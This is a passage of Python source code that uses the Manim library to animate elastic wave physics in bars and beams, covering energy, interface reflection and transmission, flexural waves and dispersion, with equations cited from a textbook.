P.229)\r\n\r\n Note:\r\n v should be = k\r\n \"\"\"\r\n return 1/2*self.E*self.A*self.du_dx(x, t)**2\r\n\r\n def e(self, x, t):\r\n \"\"\"Total energy (eq.80, P.230)\"\"\"\r\n return self.k(x, t) + self.v(x, t)\r\n\r\n def P(self, x, t):\r\n \"\"\"Power (eq.81, P.230)\"\"\"\r\n return -self.m*self.c**2*self.du_dx(x, t)*self.du_dt(x, t)\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[-2*PI, 2*PI, PI],\r\n y_range=[-1, 1, .5],\r\n # 坐标轴长度(比例)\r\n x_length=10,\r\n y_length=2,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n # 尺度标出数值\r\n \"numbers_to_include\": np.arange(-2*PI, 2.01*PI, PI),\r\n \"decimal_number_config\": {\"num_decimal_places\": 2},\r\n # 大尺度标记\r\n # \"numbers_with_elongated_ticks\": np.arange(-2*PI, 2*PI, PI),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-1, 1.01, .5),\r\n # \"numbers_with_elongated_ticks\": np.arange(-1, 1, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n ).to_edge(UP)\r\n axes_labels = axes.get_axis_labels(y_label=\"\")\r\n axes2 = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[-2*PI, 2*PI, PI],\r\n y_range=[-1, 1, .5],\r\n # 坐标轴长度(比例)\r\n x_length=10,\r\n y_length=2,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n # 尺度标出数值\r\n \"numbers_to_include\": np.arange(-2*PI, 2.01*PI, PI),\r\n \"decimal_number_config\": {\"num_decimal_places\": 2},\r\n # 大尺度标记\r\n # \"numbers_with_elongated_ticks\": np.arange(-2*PI, 2*PI, PI),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-1, 1.01, .5),\r\n # \"numbers_with_elongated_ticks\": np.arange(-1, 1, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n ).next_to(axes, 3*DOWN)\r\n axes_labels2 = axes2.get_axis_labels(y_label=\"\")\r\n\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n\r\n # Propagating wave\r\n f_plot = axes.plot(lambda x: self.u(x, 0), color=WHITE)\r\n\r\n def update_f_plot(mobj):\r\n mobj.become(axes.plot(lambda x: self.u(\r\n x, t.get_value()), color=WHITE))\r\n f_plot.add_updater(update_f_plot)\r\n label_f = MathTex(\"u\", color=WHITE)\r\n verbose_f = Tex(\"Particle Displacement\", color=WHITE)\r\n\r\n # df/dx\r\n dfdx_plot = axes.plot(lambda x: self.du_dx(x, 0), color=BLUE)\r\n\r\n def update_dfdx_plot(mobj):\r\n mobj.become(axes.plot(lambda x: self.du_dx(\r\n x, t.get_value()), color=BLUE))\r\n dfdx_plot.add_updater(update_dfdx_plot)\r\n label_dfdx = MathTex(r\"u\\prime\", color=BLUE)\r\n verbose_dfdx = Tex(\"Strain\", color=BLUE)\r\n\r\n # df/dt\r\n dfdt_plot = axes2.plot(lambda x: self.du_dt(x, 0), color=GREEN)\r\n\r\n def update_dfdt_plot(mobj):\r\n mobj.become(axes2.plot(lambda x: self.du_dt(\r\n x, t.get_value()), color=GREEN))\r\n dfdt_plot.add_updater(update_dfdt_plot)\r\n label_dfdt = MathTex(r\"\\dot{u}\", color=GREEN)\r\n verbose_dfdt = Tex(\"Particle Velocity\", color=GREEN)\r\n\r\n # Kinetic energy\r\n k_plot = axes.plot(lambda x: self.k(x, 0), color=RED)\r\n\r\n def update_k_plot(mobj):\r\n mobj.become(axes.plot(lambda x: self.k(\r\n x, t.get_value()), color=RED))\r\n k_plot.add_updater(update_k_plot)\r\n label_k = MathTex(\"k\", color=RED)\r\n verbose_k = Tex(\"Kinetic Energy\", color=RED)\r\n\r\n # Elastic energy\r\n v_plot = axes2.plot(lambda x: self.v(x, 0), color=PURPLE)\r\n\r\n def update_v_plot(mobj):\r\n mobj.become(axes2.plot(lambda x: self.v(\r\n x, t.get_value()), color=PURPLE))\r\n v_plot.add_updater(update_v_plot)\r\n label_v = MathTex(\"v\", color=PURPLE)\r\n verbose_v = Tex(\"Elastic Energy\", color=PURPLE)\r\n\r\n # Total energy\r\n e_plot = axes2.plot(lambda x: self.e(x, 0), color=ORANGE)\r\n\r\n def update_e_plot(mobj):\r\n mobj.become(axes2.plot(lambda x: self.e(\r\n x, t.get_value()), color=ORANGE))\r\n e_plot.add_updater(update_e_plot)\r\n label_e = MathTex(\"e\", color=ORANGE)\r\n verbose_e = Tex(\"Total Energy\", color=ORANGE)\r\n\r\n # Power\r\n P_plot = axes.plot(lambda x: self.P(x, 0), color=YELLOW)\r\n\r\n def update_P_plot(mobj):\r\n mobj.become(axes.plot(lambda x: self.P(\r\n x, t.get_value()), color=YELLOW))\r\n P_plot.add_updater(update_P_plot)\r\n label_P = MathTex(\"P\", color=YELLOW)\r\n verbose_P = Tex(\"Power\", color=YELLOW)\r\n\r\n label_f.to_corner(UL)\r\n label_dfdx.next_to(label_f, RIGHT)\r\n label_dfdt.next_to(label_dfdx, RIGHT)\r\n label_k.next_to(label_dfdt, RIGHT)\r\n label_v.next_to(label_k, RIGHT)\r\n label_e.next_to(label_v, RIGHT)\r\n label_P.next_to(label_e, RIGHT)\r\n\r\n verbose_f.to_corner(UL)\r\n verbose_dfdx.next_to(verbose_f, RIGHT)\r\n verbose_dfdt.next_to(verbose_dfdx, RIGHT)\r\n verbose_k.next_to(verbose_dfdt, RIGHT)\r\n verbose_v.next_to(verbose_k, RIGHT)\r\n verbose_e.next_to(verbose_v, RIGHT)\r\n verbose_P.next_to(verbose_e, RIGHT)\r\n\r\n function_labels = VGroup(label_f,\r\n label_dfdx,\r\n label_dfdt,\r\n label_k,\r\n label_v,\r\n label_e,\r\n label_P).next_to(axes2, DOWN)\r\n\r\n verbose_labels = VGroup(verbose_f,\r\n verbose_dfdx,\r\n verbose_dfdt,\r\n verbose_k,\r\n verbose_v,\r\n verbose_e,\r\n verbose_P).next_to(function_labels, DOWN).scale(0.5)\r\n self.add(axes, axes_labels)\r\n self.add(axes2, axes_labels2)\r\n\r\n self.add(t, f_plot, dfdt_plot, dfdx_plot,\r\n k_plot, v_plot, e_plot, P_plot)\r\n\r\n self.add(function_labels)\r\n self.add(verbose_labels)\r\n self.wait(2*PI)\r\n\r\n\r\nclass InterfaceCondition(Scene):\r\n \"\"\"\r\n omega is the same across the interface\r\n u_i and u_r has the same gamma (gamma1)\r\n u_t has gamma2\r\n \"\"\"\r\n rho1 = 1 # density (assumed constant)\r\n rho2 = 1 # density (assumed constant)\r\n E1 = 1 # elastic modulus (assumed constant)\r\n E2 = 1 # elastic modulus (assumed constant)\r\n A1 = 1 # cross section area (assumed constant)\r\n A2 = 1 # cross section area (assumed constant)\r\n omega = 1 # angular frequency (assumed constant) (eq.50, P.225)\r\n m1 = rho1*A1 # mass of the infinitesimal element dx (above eq.10, P.218)\r\n m2 = rho2*A2 # mass of the infinitesimal element dx (above eq.10, P.218)\r\n c1 = (E1/rho1)**(1/2) # wave speed (eq.10, P.218)\r\n c2 = (E2/rho2)**(1/2) # wave speed (eq.10, P.218)\r\n gamma1 = omega / c1 # wave number (eq.53, P.225)\r\n gamma2 = omega / c2 # wave number (eq.53, P.225)\r\n Z1 = rho1*c1 # acoustic impedance (eq.46, P.224)\r\n Z2 = rho2*c2 # acoustic impedance (eq.46, P.224)\r\n\r\n def theta_forward(self, x, t):\r\n \"\"\"The single variable for forward wave\r\n\r\n Note: (eq.158, P.241)\r\n \"\"\"\r\n return x - self.c1*t\r\n\r\n def theta_backward(self, x, t):\r\n \"\"\"The single variable for backward wave\r\n\r\n Note: (eq.158, P.241)\r\n \"\"\"\r\n return x + self.c1*t\r\n\r\n def f_forward(self, x, t):\r\n \"\"\"The wave function\"\"\"\r\n return sympy.cos(self.gamma1*self.theta_forward(x, t))\r\n\r\n def f_backward(self, x, t):\r\n \"\"\"The wave function\"\"\"\r\n return sympy.cos(self.gamma1*self.theta_backward(x, t))\r\n\r\n def u_i(self, x, t):\r\n \"\"\"Incident wave\r\n\r\n Note: Can use cos() for short or use e^i*theta\r\n to only retain the real part\r\n \"\"\"\r\n return self.f_forward(x, t)\r\n\r\n def u_r(self, x, t):\r\n \"\"\"Reflected wave\r\n\r\n Note: (eq.128, P.236)\r\n Need to use the backward wave function f_backward(),\r\n because the u_hat_r and u_hat_t has opposite\r\n propagating direction when converting to scaler.\r\n\r\n !!!Adding a negative sign on u_i() will not work.\r\n \"\"\"\r\n return ((self.Z1*self.A1-self.Z2*self.A2)\r\n / (self.Z1*self.A1+self.Z2*self.A2)) * self.f_backward(x, t)\r\n\r\n def u_t(self, x, t):\r\n \"\"\"Transmitted wave\r\n\r\n Note: (eq.128, P.236)\r\n \"\"\"\r\n return ((2*self.Z1*self.A1)\r\n / (self.Z1*self.A1+self.Z2*self.A2))*self.u_i(x, t)\r\n\r\n def u1(self, x, t):\r\n \"\"\"Total wave in material 1\"\"\"\r\n return self.u_i(x, t) + self.u_r(x, t)\r\n\r\n def u2(self, x, t):\r\n \"\"\"Total wave in material 2\"\"\"\r\n return self.u_t(x, t)\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[-2*PI, 2*PI, PI],\r\n y_range=[-1.5, 1.5, .5],\r\n # 坐标轴长度(比例)\r\n x_length=10,\r\n y_length=2,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n # 尺度标出数值\r\n \"numbers_to_include\": np.arange(-2*PI, 2.01*PI, PI),\r\n \"decimal_number_config\": {\"num_decimal_places\": 2},\r\n # 大尺度标记\r\n # \"numbers_with_elongated_ticks\": np.arange(-2*PI, 2*PI, PI),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-1, 1.01, .5),\r\n # \"numbers_with_elongated_ticks\": np.arange(-1, 1, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n ).to_edge(UP)\r\n axes_labels = axes.get_axis_labels(y_label=\"\")\r\n axes2 = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[-2*PI, 2*PI, PI],\r\n y_range=[-1.5, 1.5, .5],\r\n # 坐标轴长度(比例)\r\n x_length=10,\r\n y_length=2,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n # 尺度标出数值\r\n \"numbers_to_include\": np.arange(-2*PI, 2.01*PI, PI),\r\n \"decimal_number_config\": {\"num_decimal_places\": 2},\r\n # 大尺度标记\r\n # \"numbers_with_elongated_ticks\": np.arange(-2*PI, 2*PI, PI),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-1, 1.01, .5),\r\n # \"numbers_with_elongated_ticks\": np.arange(-1, 1, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n ).next_to(axes, DOWN)\r\n axes_labels2 = axes2.get_axis_labels(y_label=\"\")\r\n\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n step_plot = 0.2\r\n ui = axes.plot(lambda x: self.u_i(x, 0),\r\n color=BLUE, x_range=[-2*PI, 0, step_plot])\r\n\r\n def update_ui(mobj):\r\n mobj.become(axes.plot(lambda x: self.u_i(\r\n x, t.get_value()), color=BLUE, x_range=[-2*PI, 0, step_plot]))\r\n ui.add_updater(update_ui)\r\n\r\n ur = axes.plot(lambda x: self.u_r(x, 0),\r\n color=RED, x_range=[-2*PI, 0, step_plot])\r\n\r\n def update_ur(mobj):\r\n mobj.become(axes.plot(lambda x: self.u_r(\r\n x, t.get_value()), color=RED, x_range=[-2*PI, 0, step_plot]))\r\n ur.add_updater(update_ur)\r\n\r\n ut = axes.plot(lambda x: self.u_t(x, 0), color=GREEN,\r\n x_range=[0, 2*PI, step_plot])\r\n\r\n def update_ut(mobj):\r\n mobj.become(axes.plot(lambda x: self.u_t(\r\n x, t.get_value()), color=GREEN, x_range=[0, 2*PI, step_plot]))\r\n ut.add_updater(update_ut)\r\n\r\n u1 = axes2.plot(lambda x: self.u1(x, 0),\r\n color=ORANGE, x_range=[-2*PI, 0, step_plot])\r\n\r\n def update_u1(mobj):\r\n mobj.become(axes2.plot(lambda x: self.u1(\r\n x, t.get_value()), color=ORANGE, x_range=[-2*PI, 0, step_plot]))\r\n u1.add_updater(update_u1)\r\n\r\n u2 = axes2.plot(lambda x: self.u2(x, 0), color=PURPLE,\r\n x_range=[0, 2*PI, step_plot])\r\n\r\n def update_u2(mobj):\r\n mobj.become(axes2.plot(lambda x: self.u2(\r\n x, t.get_value()), color=PURPLE, x_range=[0, 2*PI, step_plot]))\r\n u2.add_updater(update_u2)\r\n\r\n rho1 = MathTex(r\"\\rho_1\" + f\"={self.rho1}\", color=ORANGE)\r\n rho2 = MathTex(r\"\\rho_2\" + f\"={self.rho2}\",\r\n color=PURPLE).next_to(rho1, DOWN)\r\n rho = VGroup(rho1, rho2).next_to(axes2, DOWN)\r\n\r\n E1 = MathTex(r\"E_1\" + f\"={self.E1}\", color=ORANGE)\r\n E2 = MathTex(r\"E_2\" + f\"={self.E2}\", color=PURPLE).next_to(E1, DOWN)\r\n E = VGroup(E1, E2).next_to(rho, RIGHT)\r\n\r\n A1 = MathTex(r\"A_1\" + f\"={self.A1}\", color=ORANGE)\r\n A2 = MathTex(r\"A_2\" + f\"={self.A2}\", color=PURPLE).next_to(A1, DOWN)\r\n A = VGroup(A1, A2).next_to(E, RIGHT)\r\n\r\n texts = VGroup(rho, E, A).scale(0.8).next_to(axes2, DOWN)\r\n\r\n axis_group = VGroup(axes, axes2, axes_labels, axes_labels2)\r\n u_group = VGroup(ui, ur, ut, u1, u2)\r\n all = VGroup(axis_group, u_group, texts).move_to(ORIGIN)\r\n\r\n self.add(t)\r\n self.add(all)\r\n self.wait(2*PI)\r\n\r\n\r\nclass FlexuralWavesInABeam(Scene):\r\n rho = 1 # density (assumed constant)\r\n E = 1 # elastic modulus (assumed constant)\r\n omega = 1 # angular frequency (assumed constant) (eq.50, P.225)\r\n h = 1 # cross section height (assumed constant) (above eq.196, P.246)\r\n b = 1 # cross section width (assumed constant) (above eq.196, P.246)\r\n I = 1/12*h*b**3 # moment of inertia (eq.196, P.246)\r\n A = h*b # cross section area\r\n m = rho*A # mass of the infinitesimal element dx (above eq.10, P.218)\r\n # c = (E/rho)**(1/2) # wave speed (eq.10, P.218)\r\n # gamma = omega / c # wave number (eq.53, P.225)\r\n a = ((E*h**2)/(12*rho))**(1/4) # characteristic length (eq.196, P.246)\r\n gamma = omega**(1/2) / a # wave number (eq.196, P.246)\r\n c_F = omega / gamma # flexural wave speed (eq.209, P.247)\r\n\r\n def w(self, x, t):\r\n \"\"\"Vertical displacement\"\"\"\r\n A1 = 1\r\n A2 = 1\r\n propagating = A1*np.exp(1j*(self.gamma*x-self.omega*t))\r\n evanescent = A2*np.exp(-self.gamma*x)*np.exp(-1j*self.omega*t)\r\n return propagating+evanescent\r\n\r\n def u(self, x, z, t):\r\n \"\"\"In-plane displacement\"\"\"\r\n return -1j*self.gamma*z*self.w(x, t)\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[-2*PI, 2*PI, PI],\r\n y_range=[-1, 1, 1],\r\n # 坐标轴长度(比例)\r\n x_length=10,\r\n y_length=2,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n # 尺度标出数值\r\n \"numbers_to_include\": np.arange(-2*PI, 2.01*PI, PI),\r\n \"decimal_number_config\": {\"num_decimal_places\": 2},\r\n # 大尺度标记\r\n # \"numbers_with_elongated_ticks\": np.arange(-2*PI, 2*PI, PI),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-1, 1.01, .5),\r\n },\r\n tips=False, # 坐标箭头\r\n )\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n forward_plot = axes.plot(lambda x: self.w(x, 0).real, color=BLUE,\r\n x_range=[-2*PI, 2*PI, PI/4])\r\n axes_labels = axes.get_axis_labels(\r\n x_label=Tex(r\"x\"), y_label=Tex(r\"w(x,0)\"))\r\n\r\n def update_forward_plot(mobj):\r\n mobj.become(axes.plot(lambda x: self.w(x, t.get_value()).real, color=BLUE,\r\n x_range=[-2*PI, 2*PI, PI/4]))\r\n forward_plot.add_updater(update_forward_plot)\r\n self.add(t)\r\n self.add(axes, axes_labels, forward_plot)\r\n self.wait(2*PI)\r\n\r\n\r\nclass FlexuralWavesVField(Scene):\r\n rho = 1 # density (assumed constant)\r\n E = 1 # elastic modulus (assumed constant)\r\n omega = 1 # angular frequency (assumed constant) (eq.50, P.225)\r\n h = 20 # cross section height (assumed constant) (above eq.196, P.246)\r\n b = 1 # cross section width (assumed constant) (above eq.196, P.246)\r\n I = b*h**3/12 # moment of inertia (eq.196, P.246)\r\n A = h*b # cross section area\r\n m = rho*A # mass of the infinitesimal element dx (above eq.10, P.218)\r\n a = ((E*h**2)/(12*rho))**(1/4) # characteristic length (eq.196, P.246)\r\n gamma = omega**(1/2) / a # wave number (eq.200, P.246)\r\n c_F = omega / gamma # flexural wave speed (eq.209, P.247)\r\n\r\n def w(self, x, t):\r\n \"\"\"vertical displacement\r\n\r\n Note: (eq.211, P.247)\r\n \"\"\"\r\n A2 = 1\r\n A4 = 1\r\n # propagating = A2*np.cos(self.gamma*x-self.omega*t)\r\n propagating = A2*np.exp(1j*(self.gamma*x-self.omega*t))\r\n # evanescent = A4*np.exp(-self.gamma*x)*np.exp(-1j*self.omega*t)\r\n return propagating\r\n\r\n def u(self, x, z, t):\r\n \"\"\"in-plane displacement\r\n\r\n Note: according to eq.188, P.245, u(x,z,t) = -z*w'(x,t),\r\n but u(x,z,t) needs to be -(-z*w'(x,t)) to match the graph the author provided.\r\n \"\"\"\r\n return 1j*self.gamma*z*self.w(x, t)\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 60, 10],\r\n y_range=[-10, 10, 5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n \"numbers_to_include\": np.arange(0, 60.01, 10),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(-10.01, 10.01, 5),\r\n },\r\n tips=False, # 坐标箭头\r\n )\r\n\r\n t = ValueTracker(0)\r\n t.add_updater(lambda m, dt: m.increment_value(dt))\r\n\r\n self.add(axes)\r\n\r\n def func(x, z):\r\n vertical = self.w(x, t.get_value()).real\r\n horizontal = self.u(x, z, t.get_value()).real\r\n return horizontal, vertical\r\n\r\n # adjust the rate of x and y axis to make the vector field look good\r\n rate_x = .2\r\n rate_y = 1\r\n\r\n def Field():\r\n vgroup = VGroup()\r\n for x in np.arange(0, 60.1, 1):\r\n for z in np.arange(-10, 10.1, 1):\r\n result = func(x, z)\r\n vector = Arrow(start=axes.coords_to_point(x, z),\r\n end=axes.coords_to_point(\r\n x, z+rate_y*result[1]),\r\n buff=0)\r\n vgroup.add(vector)\r\n return vgroup\r\n\r\n field = Field()\r\n\r\n def update_field(mobj):\r\n vgroup = Field()\r\n mobj.become(vgroup)\r\n\r\n field.add_updater(update_field)\r\n self.add(field)\r\n self.add(t)\r\n self.wait(2*PI)\r\n\r\n\r\nclass FlexuralWaveDispersionCurve(Scene):\r\n \"\"\"c_F change with omega\"\"\"\r\n rho = 200 # density (assumed constant)\r\n E = 1 # elastic modulus (assumed constant)\r\n h = 100 # cross section height (assumed constant) (above eq.196, P.246)\r\n b = 1 # cross section width (assumed constant) (above eq.196, P.246)\r\n I = b*h**3/12 # moment of inertia (eq.196, P.246)\r\n A = h*b # cross section area\r\n m = rho*A # mass of the infinitesimal element dx (above eq.10, P.218)\r\n a = (E*I/m)**(1/4) # characteristic length (eq.196, P.246)\r\n\r\n def c_F(self, omega):\r\n \"\"\"flexural wave speed (eq.209, P.247)\r\n\r\n Args:\r\n omega (float): angular frequency\r\n \"\"\"\r\n return self.a*omega**(1/2)\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 4, 1],\r\n y_range=[0, 3, 1],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n x_axis_config={\r\n \"numbers_to_include\": np.arange(0, 4.01, 1),\r\n },\r\n y_axis_config={\r\n \"numbers_to_include\": np.arange(0, 3.01, 1),\r\n },\r\n tips=False, # 坐标箭头\r\n )\r\n label = axes.get_axis_labels(x_label=\"\\omega\", y_label=\"c_F\")\r\n self.add(axes, label)\r\n dispersion_curve = axes.plot(lambda omega: self.c_F(omega),\r\n x_range=[0, 4, .01],\r\n color=RED)\r\n self.add(dispersion_curve)\r\n\r\n\r\nclass FlexuralWaveDispersion(Scene):\r\n \"\"\"c_F change with omega\"\"\"\r\n rho = 200 # density (assumed constant)\r\n E = 1 # elastic modulus (assumed constant)\r\n h = 100 # cross section height (assumed constant) (above eq.196, P.246)\r\n b = 1 # cross section width (assumed constant) (above eq.196, P.246)\r\n I = b*h**3/12 # moment of inertia (eq.196, P.246)\r\n A = h*b # cross section area\r\n m = rho*A # mass of the infinitesimal element dx (above eq.10, P.218)\r\n a = (E*I/m)**(1/4) # characteristic length (eq.196, P.246)\r\n\r\n # angular frequency (assumed decreasing with time) (eq.50, P.225)\r\n omega = 100\r\n\r\n @property\r\n def gamma(self):\r\n \"\"\"wave number (eq.196, P.246)\"\"\"\r\n return self.omega**(1/2) / self.a\r\n\r\n @property\r\n def c_F(self):\r\n \"\"\"flexural wave speed (eq.209, P.247)\"\"\"\r\n return self.a*self.omega**(1/2)\r\n\r\n def w(self, x, t):\r\n \"\"\"flexural wave vertical displacement\"\"\"\r\n return np.exp(1j*(self.gamma*x-self.omega*t))\r\n\r\n def gaussian(self, x, t, tau=None):\r\n \"\"\"gaussian distribution with changing center and width\r\n\r\n Args:\r\n sigma (float, optional): width. Defaults bind to time.\r\n\r\n https://en.wikipedia.org/wiki/Normal_distribution#Alternative_parameterizations\r\n \"\"\"\r\n # mu defining the center of the distribution\r\n mu = self.gamma*x-self.omega*t\r\n\r\n # precision tau defining the width of the distribution\r\n # higher precision means narrower distribution\r\n # tau = 1/sigma**2\r\n # Note that the peak decreases as width increases\r\n tau = np.exp(-t) if tau is None else tau\r\n\r\n return 5*np.sqrt(tau/(2*PI))*np.exp(-tau*(x-mu)**2/2)\r\n\r\n def u(self, x, t):\r\n \"\"\"\r\n gaussian fixed width but propagating with time times wave\r\n \"\"\"\r\n return self.gaussian(x, t, tau=.05)*self.w(x, t)\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 20*PI, PI],\r\n y_range=[-1, 1, 0.5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n )\r\n self.add(axes)\r\n t = ValueTracker(0)\r\n\r\n def update_t(m, dt):\r\n m.increment_value(dt)\r\n # make omega decrease with time\r\n # output with high quality need /4 (because of the 4x fps)\r\n self.omega -= .025*self.omega/4\r\n t.add_updater(update_t)\r\n\r\n def get_plot():\r\n return axes.plot(lambda x: self.u(x, t.get_value()), color=BLUE)\r\n plot = always_redraw(get_plot)\r\n omega_Label = MathTex(r\"\\omega =\").next_to(axes, DOWN)\r\n c_F_Label = MathTex(r\"c_F =\").next_to(omega_Label, DOWN)\r\n\r\n def get_omega():\r\n return DecimalNumber(self.omega, num_decimal_places=2).next_to(omega_Label, RIGHT)\r\n omega = always_redraw(get_omega)\r\n\r\n def get_c_F():\r\n return DecimalNumber(self.c_F, num_decimal_places=2).next_to(c_F_Label, RIGHT)\r\n c_F = always_redraw(get_c_F)\r\n\r\n self.add(omega_Label, c_F_Label)\r\n self.add(omega)\r\n self.add(c_F)\r\n\r\n self.add(t)\r\n self.add(plot)\r\n self.wait(2*PI)\r\n\r\n\r\nclass FlexuralWaveDispersion2(Scene):\r\n \"\"\"c_F change with omega\"\"\"\r\n rho = 200 # density (assumed constant)\r\n E = 1 # elastic modulus (assumed constant)\r\n h = 100 # cross section height (assumed constant) (above eq.196, P.246)\r\n b = 1 # cross section width (assumed constant) (above eq.196, P.246)\r\n I = b*h**3/12 # moment of inertia (eq.196, P.246)\r\n A = h*b # cross section area\r\n m = rho*A # mass of the infinitesimal element dx (above eq.10, P.218)\r\n a = (E*I/m)**(1/4) # characteristic length (eq.196, P.246)\r\n\r\n # angular frequency (eq.50, P.225) make omega1 > omega2 so that group velocity is positive\r\n omega = 1\r\n omega1 = 2\r\n omega2 = 3\r\n\r\n c_F = a*omega**(1/2) # flexural wave speed (eq.209, P.247)\r\n c_F1 = a*omega1**(1/2) # flexural wave speed (eq.209, P.247)\r\n c_F2 = a*omega2**(1/2) # flexural wave speed (eq.209, P.247)\r\n\r\n gamma = omega / c_F\r\n gamma1 = omega1 / c_F1\r\n gamma2 = omega2 / c_F2\r\n\r\n d_gamma = gamma2-gamma1\r\n d_omega = omega2-omega1\r\n\r\n gamma_avg = (gamma1+gamma2)/2\r\n omega_avg = (omega1+omega2)/2\r\n\r\n c_g = d_omega/d_gamma # group velocity (eq.221, P.252)\r\n c_avg = omega_avg/gamma_avg # average phase velocity (eq.220, P.251)\r\n\r\n def w(self, x, t):\r\n \"\"\"flexural wave vertical displacement\"\"\"\r\n return np.exp(1j*(self.gamma*x-self.omega*t))\r\n\r\n def w1(self, x, t):\r\n \"\"\"flexural wave vertical displacement\"\"\"\r\n return np.exp(1j*(self.gamma1*x-self.omega1*t))\r\n\r\n def w2(self, x, t):\r\n \"\"\"flexural wave vertical displacement\"\"\"\r\n return np.exp(1j*(self.gamma2*x-self.omega2*t))\r\n\r\n def gaussian(self, x, t, c=None, tau=None):\r\n \"\"\"gaussian distribution with changing center have the same speed with c_g\r\n\r\n Args:\r\n sigma (float, optional): width. Defaults bind to time.\r\n\r\n https://en.wikipedia.org/wiki/Normal_distribution#Alternative_parameterizations\r\n \"\"\"\r\n # mu defining the center of the distribution\r\n # make the center move with the group velocity\r\n c = self.c_g if c is None else c\r\n mu = c*t\r\n\r\n # precision tau defining the width of the distribution\r\n # higher precision means narrower distribution\r\n # tau = 1/sigma**2\r\n # Note that the peak decreases as width increases\r\n tau = np.exp(-t) if tau is None else tau\r\n\r\n return 5*np.sqrt(tau/(2*PI))*np.exp(-tau*(x-mu)**2/2)\r\n\r\n def u(self, x, t):\r\n modulation1 = self.gaussian(x, t, c=self.c_F1, tau=.05)\r\n modulation2 = self.gaussian(x, t, c=self.c_F2, tau=.05)\r\n modulationg = self.gaussian(x, t, c=self.c_g, tau=.05)\r\n u1 = self.w1(x, t)\r\n u2 = self.w2(x, t)\r\n ver1 = u1*modulation1+u2*modulation2\r\n ver2 = (u1+u2)*modulationg\r\n ver3 = u1+u2\r\n return ver1\r\n\r\n def packet(self, x, t):\r\n return np.cos(self.d_gamma*x/2-self.d_omega*t/2)\r\n\r\n def construct(self):\r\n axes = Axes(\r\n # 坐标轴数值范围和步长\r\n x_range=[0, 20*PI, PI],\r\n y_range=[-1, 1, 0.5],\r\n # 坐标轴长度(比例)\r\n x_length=12,\r\n y_length=4,\r\n axis_config={\"color\": GREEN},\r\n )\r\n self.add(axes)\r\n t = ValueTracker(0)\r\n\r\n def update_t(m, dt):\r\n m.increment_value(dt)\r\n t.add_updater(update_t)\r\n\r\n def get_plot():\r\n return axes.plot(lambda x: self.u(x, t.get_value()), color=BLUE, use_vectorized=True)\r\n plot = always_redraw(get_plot)\r\n\r\n def get_envelope():\r\n return axes.plot(lambda x: self.packet(x, t.get_value()), color=RED, use_vectorized=True)\r\n envelope = always_redraw(get_envelope)\r\n\r\n def get_gaussian1():\r\n return axes.plot(lambda x: self.gaussian(x, t.get_value(), c=self.c_F1, tau=.05), color=GREEN, use_vectorized=True)\r\n gaussian1 = always_redraw(get_gaussian1)\r\n\r\n def get_gaussian2():\r\n return axes.plot(lambda x: self.gaussian(x, t.get_value(), c=self.c_F2, tau=.05), color=YELLOW, use_vectorized=True)\r\n gaussian2 = always_redraw(get_gaussian2)\r\n\r\n def get_gaussiang():\r\n return axes.plot(lambda x: self.gaussian(x, t.get_value(), c=self.c_g, tau=.05), color=PURPLE, use_vectorized=True)\r\n gaussiang = always_redraw(get_gaussiang)\r\n\r\n def get_gaussian_add():\r\n return axes.plot(lambda x: (self.gaussian(x, t.get_value(), c=self.c_F1, tau=.05)+self.gaussian(x, t.get_value(), c=self.c_F2, tau=.05))/2, color=ORANGE, use_vectorized=True)\r\n gaussian_add = always_redraw(get_gaussian_add)\r\n self.add(t)\r\n self.add(plot)\r\n # self.add(packet)\r\n self.add(gaussian1)\r\n self.add(gaussian2)\r\n # self.add(gaussiang)\r\n self.add(gaussian_add)\r\n self.wait(8*PI)\r\n\r\n\r\nclass FlexuralWaveDispersion3(Scene):\r\n \"\"\"c_F change with omega\"\"\"\r\n rho = 200 # density (assumed constant)\r\n E = 1 # elastic modulus (assumed constant)\r\n h = 100 # cross section height (assumed constant) (above eq.196, P.246)\r\n b = 1 # cross section width (assumed constant) (above eq.196, P.246)\r\n I = b*h**3/12 # moment of inertia (eq.196, P.246)\r\n A = h*b # cross section area\r\n m = rho*A # mass of the infinitesimal element dx (above eq.10, P.218)\r\n a = (E*I/m)**(1/4) # characteristic length (eq.196, P.246)\r\n\r\n # angular frequency (eq.50, P.225)\r\n omega = 1\r\n\r\n @property\r\n def c_F(self):\r\n return self.a*self.omega**(1/2)\r\n\r\n @property\r\n def gamma(self):\r\n return self.omega/self.c_F\r\n\r\n def w(self, x, t):\r\n 